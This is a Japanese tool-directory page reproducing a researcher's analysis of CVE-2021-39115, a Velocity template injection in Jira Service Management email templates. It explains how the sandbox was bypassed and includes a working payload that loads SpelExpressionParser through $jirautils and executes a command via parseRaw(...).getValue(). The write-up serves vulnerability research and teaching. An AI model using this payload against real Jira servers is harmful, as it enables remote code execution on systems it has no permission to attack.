Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-39115 — メールテンプレートのテンプレートインジェクションにより、Jira Service Management Server でコード実行が可能になる | Kitploit
ツール/GitHubGitHub/petrusviet/cve-2021-39115
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubpetrusviet/cve-2021-39115

CVE-2021-39115

メールテンプレートのテンプレートインジェクションにより、Jira Service Management Server でコード実行が可能になる

リポジトリを見る
481215年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-39115

メールテンプレートのテンプレートインジェクションにより、Jira Service Management Server でコード実行が可能になる

I) 構築

デプロイとデバッグの手順はこちらで解説しています。参考にしてください。

II) 解析

このCVEのDescriptionにも明記されているとおり、バグは Email Template 機能にあります。管理者権限があれば、ユーザーは通知メールのテンプレートを自由に編集できます。このバグは実行に管理者権限が必要なため、RCEに至ってもそれほど深刻ではありませんが、楽しみのためにブログを書くことにしました :) SSTIを調べている人は参考にしてください。

  • 本題に入ります。atlassian-jira-servicedesk-4.17.0-m0006-standalone をデプロイし、4.18.0 との差分を確認してみました。 image

この量を見た時点で……もちろん、ファイルを1つずつ読んだりはしません。私はとても怠け者ですから。冗談はさておき、セキュリティ修正に加えて、各バージョンでは機能の拡張や変更もあります。全部をdiffして読むのは非常に時間がかかります。もちろん場合によっては全部diffして読まざるを得ないこともありますが、今回はそんなことはしません =)))

  • 前述のとおり、管理者はすべての通知メールのテンプレートを変更できます。そこで最初のステップとして、通知メールのパース処理時にどのようなcontextがあるのかを把握する必要があります。これはSSTI(サンドボックスあり)を悪用する際に特に重要です。最も効果的な方法は、デバッガでメールテンプレートのパース処理に入り、context変数の値を確認することです。
  • もちろん、通知にはさまざまな種類(SignUp、change Passwordなど)があり、それぞれ異なるエンドポイントを使用します。私は SendBulkMail 機能を使って通知メールを生成しました。このエンドポイントのコールスタックについては、 のコールスタックと同様のため、冗長を避けて説明しません。
CVE-2019-11581

SimpleNote.render 関数で context 変数を確認し、何を利用できるかを調べました:

自分の経験から、Utils、Manager、service などのキーワードを含む context/class を重点的に確認します。$jirautils という context(クラス com.atlassian.jira.util.JiraUtils)に、メソッド public static <T> T loadComponent(String className, Class<?> callingClass) が含まれていることに注目しました:

このメソッドの機能と使い方をドキュメントを探して調べました。入力に String className があり、出力がクラスということは、このメソッドがクラスを任意にロードできる可能性が非常に高いです:

  • ドキュメントにあるように、この関数はクラスをロードするためのものです :) さっそく、そのメソッドで本当に任意のクラスをロードできるかどうかを確かめます:

System -> Email templates を開き、現在のテンプレートファイルをダウンロードしました。

テンプレートにはさまざまな種類があり、それぞれが異なる通知タイプ専用です。そこで、email\html\includes\header.vm のように、複数の通知タイプで共通利用できるファイルを探しました。

編集したテンプレートファイルをアップロードし、SendBulkMail で通知メールを送信しました。すると、メールに次のような出力が含まれていました:

おそらく、このクラスにはコンストラクタがないか、受け入れられないようです。そこで、コンストラクタ(引数なし)を持つ別のクラスを試してみました:

結果は期待どおりで、クラスの取得に成功しました:

  • これで、クラスをほぼ任意にロードできるようになりました。なかなか良いです。しかし、どうすればRCEまで到達できるのでしょうか??? JiraはVelocityテンプレートを使用しており、サンドボックスはかなり充実しています。ブラックリスト化されたパッケージとブラックリスト化されたクラスがあり(後者では、ブラックリスト化されたクラスを継承するすべてのクラスもブロックされます)。インターネット上で公開されているクラスを利用することはほぼ不可能です。そこで、脆弱性のあるバージョンとパッチ適用済みバージョンの差分を確認する必要があります。もちろん全体をdiffするのではなく、Velocityの設定ファイル (\atlassian-jira\WEB-INF\classes\velocity.properties) だけをdiffして、何が更新されたかを確認しました:

3つのクラスがブラックリストに追加されたことがわかります:

root@kitploit:~
org.springframework.expression.spel.standard.SpelExpressionParser,\
com.atlassian.jira.component.ComponentAccessor,\
com.atlassian.jira.plugin.ComponentClassManager

各クラスを確認すると、SpelExpressionParser クラスに public SpelExpression parseRaw(String expressionString) という関数があることがわかりました。Googleで少し使い方を調べたところ、おおよそ次のように使えるようです:

root@kitploit:~
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')")

ご覧のとおり、parseRaw 関数は org.springframework.expression.spel.standard.SpelExpression クラスのオブジェクトを返すだけで、渡した式を実際にレンダリングするわけではありません。SpelExpression クラスを調べると、getValue メソッドがありました:

root@kitploit:~
@Nullable
    public Object getValue() throws EvaluationException {
        CompiledExpression compiledAst = this.compiledAst;
        if (compiledAst != null) {
            try {
                EvaluationContext context = this.getEvaluationContext();
                return compiledAst.getValue(context.getRootObject().getValue(), context);
            } catch (Throwable var4) {
                if (this.configuration.getCompilerMode() != SpelCompilerMode.MIXED) {
                    throw new SpelEvaluationException(var4, SpelMessage.EXCEPTION_RUNNING_COMPILED_EXPRESSION, new Object[0]);
                }
            }

            this.compiledAst = null;
            this.interpretedCount.set(0);
        }

        ExpressionState expressionState = new ExpressionState(this.getEvaluationContext(), this.configuration);
        Object result = this.ast.getValue(expressionState);
        this.checkCompile(expressionState);
        return result;
    }

入出力を見て、スピリチュアル系の人間である私は、ドキュメントを読まずにすぐ試すことにしました:

root@kitploit:~
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()

結果は次のとおりです:

III) 結論

以上のように、VelocityのサンドボックスをバイパスしてRCEが可能になりました。しかし、このバグを発見した作者の立場に立つと、自分には説明できない疑問がいくつか残ります:

  • なぜブラックリストに3つのクラスも追加されたのか?

この3つのクラスを調べると、それらが1つのチェーンを形成できることに気づきました:

root@kitploit:~
ComponentAccessor.getComponentClassManager() 
  => ComponentClassManager.newInstance(String className) (Class này có thể load class tùy ý)
        => SpelExpressionParser

もし作者が私と同じように $jirautils を使っていたなら、残りの2つのクラスは必要ないはずです。しかし、作者が $jirautils を使わなかった場合、どうやってComponentAccessorを取得したのでしょうか???

  • 作者はどうやって上記の3つのクラスを見つけ出したのか? これは私が最も関心を持ち、ぜひ知りたい疑問ですが、おそらく作者に直接連絡するしかありません。残念ながら、このバグの作者が誰なのかはわかりません。

IV) パッチをさらにバイパスする

ツールをダウンロード